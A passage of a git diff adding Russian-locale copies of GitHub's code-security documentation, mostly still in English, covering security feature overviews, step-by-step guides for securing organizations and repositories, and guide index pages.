ghec or ghes or ghae %} +### {% data variables.product.prodname_secret_scanning_GHAS_caps %} + +{% ifversion ghec %} +Available only with a license for {% data variables.product.prodname_GH_advanced_security %}. +{% endif %} + +Automatically detect tokens or credentials that have been checked into a repository. You can view alerts for any secrets that {% data variables.product.company_short %} finds in your code, so that you know which tokens or credentials to treat as compromised. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advanced-security)." +{% endif %} + +### Dependency review + +Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." + +{% ifversion security-overview-displayed-alerts %} + +{% elsif fpt %} + +{% else %} +### Security overview for organizations{% ifversion ghes > 3.4 or ghae > 3.4 %}, enterprises,{% endif %} and teams + +Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." +{% endif %} + +## Further reading +- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)" +- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)" diff --git a/translations/ru-RU/content/code-security/getting-started/index.md b/translations/ru-RU/content/code-security/getting-started/index.md new file mode 100644 index 000000000000..b0f1e2b657be --- /dev/null +++ b/translations/ru-RU/content/code-security/getting-started/index.md @@ -0,0 +1,26 @@ +--- +title: Начало работы с функциями обеспечения безопасности кода +shortTitle: Getting started +intro: 'Общие сведения о безопасности кода с помощью {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories + - Dependencies + - Vulnerabilities +children: + - /github-security-features + - /securing-your-repository + - /securing-your-organization + - /adding-a-security-policy-to-your-repository +ms.openlocfilehash: 43f115a71348c54da1004d24fdefae0d28cd0b0e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147145296' +--- + diff --git a/translations/ru-RU/content/code-security/getting-started/securing-your-organization.md b/translations/ru-RU/content/code-security/getting-started/securing-your-organization.md new file mode 100644 index 000000000000..63cff8ac9b41 --- /dev/null +++ b/translations/ru-RU/content/code-security/getting-started/securing-your-organization.md @@ -0,0 +1,137 @@ +--- +title: Securing your organization +intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your organization secure.' +permissions: Organization owners can configure organization security settings. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - Dependencies + - Vulnerabilities + - Advanced Security +shortTitle: Secure your organization +--- + +## Introduction +This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." + +{% data reusables.advanced-security.security-feature-availability %} + +## Managing access to your organization + +You can use roles to control what actions people can take in your organization. {% ifversion security-managers %}For example, you can assign the security manager role to a team to give them the ability to manage security settings across your organization, as well as read access to all repositories.{% endif %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +{% ifversion fpt or ghes or ghec %} + +## Creating a default security policy + +You can create a default security policy that will display in any of your organization's public repositories that do not have their own security policy. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." + +{% endif %} + +## Managing {% data variables.product.prodname_dependabot_alerts %} and the dependency graph + +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and displays the dependency graph. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all public repositories owned by your organization. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} and the dependency graph for all private repositories owned by your organization. + +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to the feature that you want to manage. +5. Optionally, select **Automatically enable for new repositories**. +{% endif %} + +{% data reusables.dependabot.dependabot-alerts-beta %} +{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} + +For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)," "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)," and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +## Managing dependency review + +Dependency review is an {% data variables.product.prodname_advanced_security %} feature that lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." + +{% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec %}For private and internal repositories that are owned by an organization, you can enable dependency review by enabling the dependency graph and enabling {% data variables.product.prodname_advanced_security %} (see below). +{% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.location.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %} + +{% ifversion fpt or ghec or ghes %} +## Managing {% data variables.product.prodname_dependabot_security_updates %} + +For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories across your organization. + +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_dependabot_security_updates %}. +5. Optionally, select **Automatically enable for new repositories**. + +For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +## Managing {% data variables.product.prodname_dependabot_version_updates %} + +You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)." + +To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." + +{% endif %} + +{% ifversion ghes or ghae or ghec %} +## Managing {% data variables.product.prodname_GH_advanced_security %} + +{% ifversion ghes or ghec %} +If your {% ifversion ghec %}organization is owned by an enterprise that{% else %}enterprise{% endif %} has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features. +{% elsif ghae %} +You can enable or disable {% data variables.product.prodname_advanced_security %} features. +{% endif %} + +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_GH_advanced_security %}. +5. Optionally, select **Automatically enable for new private repositories**. + +For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +{% endif %} +## Configuring {% data variables.product.prodname_secret_scanning %} + +{% data variables.product.prodname_secret_scanning_caps %} is an {% data variables.product.prodname_advanced_security %} feature that scans repositories for secrets that are insecurely stored. + +{% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} is already enabled for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable {% data variables.product.prodname_secret_scanning %} for private and internal repositories.{% endif %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#configuring-secret-scanning). {% endif %} + +{% ifversion ghes or ghae %}{% data variables.product.prodname_secret_scanning_caps %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %} + +{% ifversion not fpt %} +You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled. + +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_secret_scanning_caps %} ({% data variables.product.prodname_GH_advanced_security %} repositories only). +5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. + +For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +{% endif %} + +## Configuring {% data variables.product.prodname_code_scanning %} + +{% data variables.product.prodname_code_scanning_capc %} is an {% data variables.product.prodname_advanced_security %} feature that scans code for security vulnerabilities and errors. + +{% ifversion fpt or ghec %}{% data variables.product.prodname_code_scanning_capc %} is available for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally use {% data variables.product.prodname_code_scanning %} for private and internal repositories.{% else %}{% data variables.product.prodname_code_scanning_capc %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %} + +{% data variables.product.prodname_code_scanning_capc %} is configured at the repository level. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." + +## Next steps +You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts),"{% endif %} {% ifversion fpt or ghec or ghes %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." + +{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)." +{% endif %} + +{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About the security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} + +{% ifversion ghec %} +## Further reading + +"[Accessing compliance reports for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization)" +{% endif %} diff --git a/translations/ru-RU/content/code-security/getting-started/securing-your-repository.md b/translations/ru-RU/content/code-security/getting-started/securing-your-repository.md new file mode 100644 index 000000000000..94ff4b1ba52f --- /dev/null +++ b/translations/ru-RU/content/code-security/getting-started/securing-your-repository.md @@ -0,0 +1,137 @@ +--- +title: Securing your repository +intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your repository secure.' +permissions: Repository administrators and organization owners can configure repository security settings. +redirect_from: + - /github/administering-a-repository/about-securing-your-repository + - /github/code-security/getting-started/about-securing-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Repositories + - Dependencies + - Vulnerabilities + - Advanced Security +shortTitle: Secure your repository +--- + +## Introduction +This guide shows you how to configure security features for a repository. You must be a repository administrator or organization owner to configure security settings for a repository. + +Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." + +{% data reusables.advanced-security.security-feature-availability %} + +## Managing access to your repository + +The first step to securing a repository is to set up who can see and modify your code. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)." + +From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**, then scroll down to the "Danger Zone." + +- To change who can view your repository, click **Change visibility**. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +- To change who can access your repository and adjust permissions, click **Manage access**. For more information, see"[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)."{% endif %} + +## Setting a security policy + +1. From the main page of your repository, click **{% octicon "shield" aria-label="The shield symbol" %} Security**. +2. Click **Security policy**. +3. Click **Start setup**. +4. Add information about supported versions of your project and how to report vulnerabilities. + +For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." + +## Managing the dependency graph + +{% ifversion fpt or ghec %} +The dependency graph is automatically generated for all public repositories, and you can choose to enable it for private repositories. It interprets manifest and lock files in a repository to identify dependencies. + +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**. +2. Click **Security & analysis**. +3. Next to Dependency graph, click **Enable** or **Disable**. +{% endif %} + +{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} + +For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)." + +## Managing {% data variables.product.prodname_dependabot_alerts %} + +{% data variables.product.prodname_dependabot_alerts %} are generated when {% data variables.product.prodname_dotcom %} identifies a dependency in the dependency graph with a vulnerability. {% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for any repository.{% endif %} + +{% ifversion fpt or ghec %} +1. Click your profile photo, then click **Settings**. +2. Click **Security & analysis**. +3. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}. +{% endif %} + +{% data reusables.dependabot.dependabot-alerts-beta %} +{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} + +For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}" and "[Managing security and analysis settings for your personal account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account){% endif %}." + +## Managing dependency review + +Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." + +Dependency review is a {% data variables.product.prodname_GH_advanced_security %} feature. {% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes or ghae %}To enable dependency review for a {% ifversion ghec %}private or internal {% endif %}repository, ensure that the dependency graph is enabled and enable {% data variables.product.prodname_GH_advanced_security %}. + +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**. +2. Click **Security & analysis**. +3. {% ifversion ghec %}If dependency graph is not already enabled, click **Enable**.{% elsif ghes or ghae %}Check that dependency graph is configured for your enterprise.{% endif %} +4. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**. + +{% endif %} + +{% ifversion fpt or ghec or ghes %} + +## Managing {% data variables.product.prodname_dependabot_security_updates %} + +For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. + +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**. +2. Click **Security & analysis**. +3. Next to {% data variables.product.prodname_dependabot_security_updates %}, click **Enable**. + +For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)." + +## Managing {% data variables.product.prodname_dependabot_version_updates %} + +You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)." + +{% ifversion dependabot-settings-update-37 %} +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**. +2. Click **Security & analysis**. +3. Next to {% data variables.product.prodname_dependabot_version_updates %}, click **Enable** to create a basic *dependabot.yml* configuration file. +4. Specify the dependencies to update and commit the file to the repository. For more information, see "[Configuring Dependabot version updates](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates)." + +{% else %} +To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." +{% endif %} + +{% endif %} + +## Configuring {% data variables.product.prodname_code_scanning %} + +You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.code-scanning.codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." + +{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. + +## Configuring {% data variables.product.prodname_secret_scanning %} + +{% data variables.product.prodname_secret_scanning_caps %} is {% ifversion fpt or ghec %}enabled for all public repositories and is available for private repositories owned by organizations that are part of an enterprise with a license for {% else %}available for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#configuring-secret-scanning).{% else %}{% data variables.product.prodname_secret_scanning_caps %} may already be enabled for your repository, depending upon your organization's settings. + +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**. +2. Click **Security & analysis**. +3. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**. +4. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. +{% endif %} + +## Next steps +You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts),"{% endif %} {% ifversion fpt or ghec or ghes %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." + +{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)." +{% endif %} diff --git a/translations/ru-RU/content/code-security/guides.md b/translations/ru-RU/content/code-security/guides.md new file mode 100644 index 000000000000..75ab63602147 --- /dev/null +++ b/translations/ru-RU/content/code-security/guides.md @@ -0,0 +1,102 @@ +--- +title: Руководства по обеспечению безопасности кода +intro: 'Сведения о том, как {% data variables.product.product_name %} помогает улучшить безопасность кода.' +allowTitleToDifferFromFilename: true +layout: product-guides +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +learningTracks: + - security_advisories + - dependabot_alerts + - dependabot_security_updates + - dependency_version_updates + - security_alerts + - secret_scanning + - code_security_actions + - code_security_ci + - code_security_integration + - end_to_end_supply_chain +includeGuides: + - /code-security/getting-started/adding-a-security-policy-to-your-repository + - /code-security/getting-started/github-security-features + - /code-security/getting-started/securing-your-organization + - /code-security/getting-started/securing-your-repository + - /code-security/secret-scanning/about-secret-scanning + - /code-security/secret-scanning/configuring-secret-scanning-for-your-repositories + - /code-security/secret-scanning/defining-custom-patterns-for-secret-scanning + - /code-security/secret-scanning/managing-alerts-from-secret-scanning + - /code-security/secret-scanning/protecting-pushes-with-secret-scanning + - /code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection + - /code-security/secret-scanning/secret-scanning-patterns + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow + - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs + - /code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning + - /code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning + - /code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system + - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system + - /code-security/repository-security-advisories/about-github-security-advisories-for-repositories + - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository + - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory + - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability + - /code-security/repository-security-advisories/creating-a-repository-security-advisory + - /code-security/repository-security-advisories/editing-a-repository-security-advisory + - /code-security/repository-security-advisories/permission-levels-for-repository-security-advisories + - /code-security/repository-security-advisories/publishing-a-repository-security-advisory + - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory + - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory + - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories + - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability + - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities + - /code-security/security-overview/about-the-security-overview + - /code-security/security-overview/filtering-alerts-in-the-security-overview + - /code-security/security-overview/viewing-the-security-overview + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot + - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository + - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review + - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph + - /code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api + - /code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository +ms.openlocfilehash: 2c22dbc00b2188e78fbd977b775bc971697926ec +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159216' +--- + diff --git a/translations/ru-RU/content/code-security/index.md b/translations/ru-RU/content/code-security/index.md new file mode 100644 index 000000000000..ca0853426410 --- /dev/null +++ b/translations/ru-RU/content/code-security/index.md @@ -0,0 +1,62 @@ +--- +title: Code security +shortTitle: Code security +intro: 'Build security into your {% data variables.product.prodname_dotcom %} workflow with features to keep secrets and vulnerabilities out of your codebase{% ifversion not ghae %}, and to maintain your software supply chain{% endif %}.' +introLinks: + overview: /code-security/getting-started/github-security-features +featuredLinks: + guides: + - /code-security/getting-started/securing-your-repository + - /code-security/getting-started/securing-your-organization + - '{% ifversion fpt or ghec %}/code-security/repository-security-advisories/creating-a-repository-security-advisory{% endif %}' + - '{% ifversion ghes or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository{% endif%}' + guideCards: + - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates{% endif %}' + - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository{% endif %}' + - '{% ifversion ghes < 3.3 %}/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository{% endif %}' + - '{% ifversion ghes < 3.3 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies{% endif %}' + - '{% ifversion ghes < 3.3 or ghae %}/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories{% endif %}' + - '{% ifversion ghae %}/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github{% endif %}' + - '{% ifversion ghae %}/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system{% endif %}' + - /code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview + popular: + - '{% ifversion ghes %}/admin/release-notes{% endif %}' + - 